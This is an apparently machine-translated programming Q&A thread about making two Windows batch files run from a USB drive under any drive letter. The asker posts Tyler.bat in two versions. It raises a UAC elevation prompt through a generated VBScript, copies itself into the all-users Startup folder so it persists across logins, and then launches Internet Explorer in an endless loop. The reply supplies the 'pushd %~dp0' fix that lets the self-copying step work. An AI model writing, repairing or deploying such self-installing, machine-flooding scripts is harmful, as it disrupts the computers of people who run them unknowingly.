2013-02-15 94 views
0

我把這兩個批處理文件放在USB驅動器上,我需要找到一種方法使Tyler.bat具有正確的路徑,以便當我從USB驅動器調用Tyler.bat時,它將讀取USB驅動器並用正確的路徑加載Tyler.bat,然後按照其命令進行操作。如何使一個批處理文件從USB驅動器的任何驅動器號運行?

我想知道如何在不更改驅動器名稱的情況下做到這一點。

Zieske.bat

@echo off 
echo Who are you? 
set /p answer= 
if /i "%answer%"=="Tyler" (call Tyler.bat) 
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat) 
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat) 
echo Welcome %answer%! 
pause 

Tyler.bat TY的回答

@echo off 
REM Run shell as admin (example) - put here code as you like 
REM Check Windows Version 
ver | findstr /i "5\.0\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_2000 
ver | findstr /i "5\.1\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_XP 
ver | findstr /i "5\.2\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_2003 
ver | findstr /i "6\.0\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_Vista 
ver | findstr /i "6\.1\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_Win7 
goto warn_and_exit 

:ver_Win7 
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes 
) else (
goto :beginning7 
) 
goto :ver_Win7 


:ver_Vista 
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes 
) else (
goto :beginning_Vista 
) 
goto :ver_Vista 


:ver_2003 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginning2003 
) 
goto :ver_2003 


:ver_XP 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginningXP 
) 
goto :ver_XP 


:ver_2000 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginning2000 
) 
goto :ver_2000 


:warn_and_exit 
echo Machine OS cannot be determined. 
pause 

:beginning7 
CLS 
ECHO. 
ECHO ============================= 
ECHO Running Admin shell 
ECHO ============================= 

:checkPrivileges 
NET FILE 1>NUL 2>NUL 
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges) 
ECHO. 
ECHO ************************************** 
ECHO Invoking UAC for Privilege Escalation 
ECHO ************************************** 

setlocal DisableDelayedExpansion 
set "batchPath=%~0" 
setlocal EnableDelayedExpansion 
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
:::::::::::::::::::::::::::: 
:START 
:::::::::::::::::::::::::::: 
setlocal & pushd . 
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" 
goto yes: 

:beginning_Vista 
goto beginning7 

:beginningXP 
CLS 
ECHO. 
ECHO ============================= 
ECHO Running Admin shell 
ECHO ============================= 

:checkPrivileges 
NET FILE 1>NUL 2>NUL 
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges) 
ECHO. 
ECHO ************************************** 
ECHO Invoking UAC for Privilege Escalation 
ECHO ************************************** 

setlocal DisableDelayedExpansion 
set "batchPath=%~0" 
setlocal EnableDelayedExpansion 
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
:::::::::::::::::::::::::::: 
:START 
:::::::::::::::::::::::::::: 
setlocal & pushd . 
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup" 
goto :yes 

:beginning2003 
goto :beginningXP 

:beginning2000 
goto :beginningXP 

:yes 
echo Hi Tyler! 
pause 
goto :Tyler 

:Tyler 
start iexplore.exe 
goto :Tyler 

cmd /k 

例如

pushd %~dp0 
...all the other code... 
copy tyler.bat 
...more other code... 

例如實現爲代碼TY的回答(不知道是否是因爲goto變量,如果我需要把pushd命令複製到批處理文件)

zieske.bat

@echo off 
pushd %~dp0 
echo Who are you? 
set /p answer= 
if /i "%answer%"=="Tyler" (call Tyler.bat) 
if /i "%answer%"=="Matt" (call Tyler.bat) 
if /i "%answer%"=="Matthew" (call Tyler.bat) 
if /i "%answer%"=="Matthew Tassin" (call Tyler.bat) 
if /i "%answer%"=="Matt Tassin" (call Tyler.bat) 
if /i "%answer%"=="Ryan" (call Tyler.bat) 
if /i "%answer%"=="Ryan Ware" (call Tyler.bat) 
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat) 
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat) 
echo Welcome %answer%! 
pause 

tyler.bat

@echo off 
pushd %~dp0 
REM Check Windows Version 
ver | findstr /i "5\.0\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_2000 
ver | findstr /i "5\.1\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_XP 
ver | findstr /i "5\.2\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_2003 
ver | findstr /i "6\.0\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_Vista 
ver | findstr /i "6\.1\." > nul 
IF %ERRORLEVEL% EQU 0 goto :ver_Win7 
goto warn_and_exit 

:ver_Win7 
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes 
) else (
goto :beginning7 
) 
goto :ver_Win7 


:ver_Vista 
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes 
) else (
goto :beginning_Vista 
) 
goto :ver_Vista 


:ver_2003 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginning2003 
) 
goto :ver_2003 


:ver_XP 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginningXP 
) 
goto :ver_XP 


:ver_2000 
cd "c:\documents and settings\all users\start menu\programs\startup" 
if exist "tyler.bat" (
goto :yes 
) else (
goto :beginning2000 
) 
goto :ver_2000 


:warn_and_exit 
echo Machine OS cannot be determined. 
pause 

:beginning7 
CLS 
ECHO. 
ECHO ============================= 
ECHO Running Admin shell 
ECHO ============================= 

:checkPrivileges 
NET FILE 1>NUL 2>NUL 
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges) 
ECHO. 
ECHO ************************************** 
ECHO Invoking UAC for Privilege Escalation 
ECHO ************************************** 

setlocal DisableDelayedExpansion 
set "batchPath=%~0" 
setlocal EnableDelayedExpansion 
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
:::::::::::::::::::::::::::: 
:START 
:::::::::::::::::::::::::::: 
setlocal & pushd . 
pushd %~dp0 
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" 
goto yes: 

:beginning_Vista 
goto beginning7 

:beginningXP 
CLS 
ECHO. 
ECHO ============================= 
ECHO Running Admin shell 
ECHO ============================= 

:checkPrivileges 
NET FILE 1>NUL 2>NUL 
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges) 
ECHO. 
ECHO ************************************** 
ECHO Invoking UAC for Privilege Escalation 
ECHO ************************************** 

setlocal DisableDelayedExpansion 
set "batchPath=%~0" 
setlocal EnableDelayedExpansion 
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
:::::::::::::::::::::::::::: 
:START 
:::::::::::::::::::::::::::: 
setlocal & pushd . 
pushd %~dp0 
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup" 
goto :yes 

:beginning2003 
goto :beginningXP 

:beginning2000 
goto :beginningXP 

:yes 
echo Hi Tyler, Ryan, or Matt! 
pause 
goto :Tyler 

:Tyler 
start iexplore.exe 
goto :Tyler 

cmd /k 

,如果你能驗證語法/的pushd %~dp0的位置是通過按Ctrl + F和pushd %~dp0打字,我將非常感激正確。

回答

0

你真的需要驅動器盤符,還是隻需要確保當前目錄是USB驅動器的根目錄?如果是後者,只需要:

pushd %~dp0 

在批處理文件的開頭。您將被CD'ed到批處理文件所在的目錄中。

+0

嗯,我肯定需要後者也發生,但我需要的是文件中的tyler.bat文件的位置,有一部分它說'copy tyler.bat',我讀過對於某些情況下(無論何時你在Windows操作系統-vista(2003,XP,2000)),它將無法複製任何東西,除非你指定了它的文件路徑,例如x:\ tyler.bat – 2013-02-15 18:52:41

+0

copy只要tyler.bat位於當前目錄中,tyler.bat 就可以。驅動器號或其他路徑信息不是必需的。 – ty733420 2013-02-15 18:56:04

+0

檢查我的編輯真正快,我即將這樣做,我可以知道如果代碼類似乎正確。 – 2013-02-15 18:57:28

相關問題